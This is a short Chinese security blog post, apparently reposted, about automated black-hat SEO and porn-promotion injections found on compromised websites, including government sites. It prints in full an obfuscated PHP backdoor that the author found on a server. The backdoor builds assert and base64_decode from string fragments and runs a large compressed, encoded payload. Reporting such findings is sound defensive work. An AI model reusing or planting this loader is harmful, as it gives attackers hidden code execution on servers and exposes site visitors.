高级自动化黑产大揭秘

admin 2023年5月23日23:25:45评论16 views字数 4437阅读14分47秒阅读模式

百度搜 http://******:8888/

高级自动化黑产大揭秘

http://****com/index.php?gxlyjt=130&wap=1
http://****com/index.php/Content/index/type/85.html?cqwswsjds=1661
http://***gov.cn/index.php/Content/index/type/209.html?gov=748
政府网站还是挺多的
这是我检测服务器的时候发现的 在php 发现了一段意外的代码

$dw_dir = "";$dw_gb = 1; $dw_dan = 0;    $_MYSQL = /*dbname*/"as"/*-ip-*/."s";    $SQL_STMTLY = /*stmt*/"b"."a"./*-$mysql_*/"se";    $_MYSQL = $_MYSQL ."ert";    $GETIPNAME = "abcdefghicklmnopqrst";    $SQL_STMTLY = $SQL_STMTLY./*stmt-*/"64_"./*stmt*/"de"/*d**e*d*e8d**e**/."code";    $SQL_CONNECT_STRS = $SQL_STMTLY;    $GETIPNAMEy = "gz_".substr( $SQL_STMTLY, 7,6);    $SQL_CONNECT_STRSectstr = "ZnVuY3Rpb24gZ3pfZGVjb2RlKCRkYXRhKXskZmxhZ3MgPSBvcmQoc3Vic3RyKCRkYXRhLCAzLCAxKSk7JGhlYWRlcmxlbiA9IDEwOyRleHRyYWxlbiA9IDA7JGZpbGVuYW1lbGVuID0gMDtpZiAoJGZsYWdzICYgNCkgeyRleHRyYWxlbiA9IHVucGFjaygndicgLHN1YnN0cigkZGF0YSwgMTAsIDIpKTskZXh0cmFsZW4gPSAkZXh0cmFsZW5bMV07JGhlYWRlcmxlbiArPSAyICsgJGV4dHJhbGVuO31pZiAoJGZsYWdzICYgOCkkaGVhZGVybGVuID0gc3RycG9zKCRkYXRhLCBjaHIoMCksICRoZWFkZXJsZW4pICsgMTtpZiAoJGZsYWdzICYgMTYpJGhlYWRlcmxlbiA9IHN0cnBvcygkZGF0YSwgY2hyKDApLCAkaGVhZGVybGVuKSArIDE7aWYgKCRmbGFncyAmIDIpJGhlYWRlcmxlbiArPSAyOyR1bnBhY2tlZCA9IEBnemluZmxhdGUoc3Vic3RyKCRkYXRhLCAkaGVhZGVybGVuKSk7aWYgKCR1bnBhY2tlZCA9PT0gRkFMU0UpJHVucGFja2VkID0gJGRhdGE7cmV0dXJuICR1bnBhY2tlZDt9DQo=";    $IPADDRESS = $SQL_CONNECT_STRS(( $SQL_CONNECT_STRSectstr ));    $MYSQL_CONNECTLY = $_MYSQL;    $SQL_CONNECT_STRSECT = $SQL_STMTLY[3]./*ly**/"v".$SQL_STMTLY[1].$GETIPNAME[11]."( ".$GETIPNAMEy."($SQL_CONNECT_STRS('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')));";    @$MYSQL_CONNECTLY( $SQL_CONNECT_STRSECT.$IPADDRESS );

高级自动化黑产大揭秘

包括色情网站的推广

高级自动化黑产大揭秘

当你访问那些链接的时候,除了跳转推广的网站外,貌似还更新下发任务,实现全自动了
在cache 目录下发现了大量的文件
每个文件夹差不多6-15万个文件不等 大约有1万多个文化夹

高级自动化黑产大揭秘


咱也不知道政府网站为啥做的那么烂,反正 做项目也是为了拿钱而已。

原文始发于微信公众号(黑客网络安全):高级自动化黑产大揭秘

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年5月23日23:25:45
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   高级自动化黑产大揭秘http://cn-sec.com/archives/1755331.html

发表评论

匿名网友 填写信息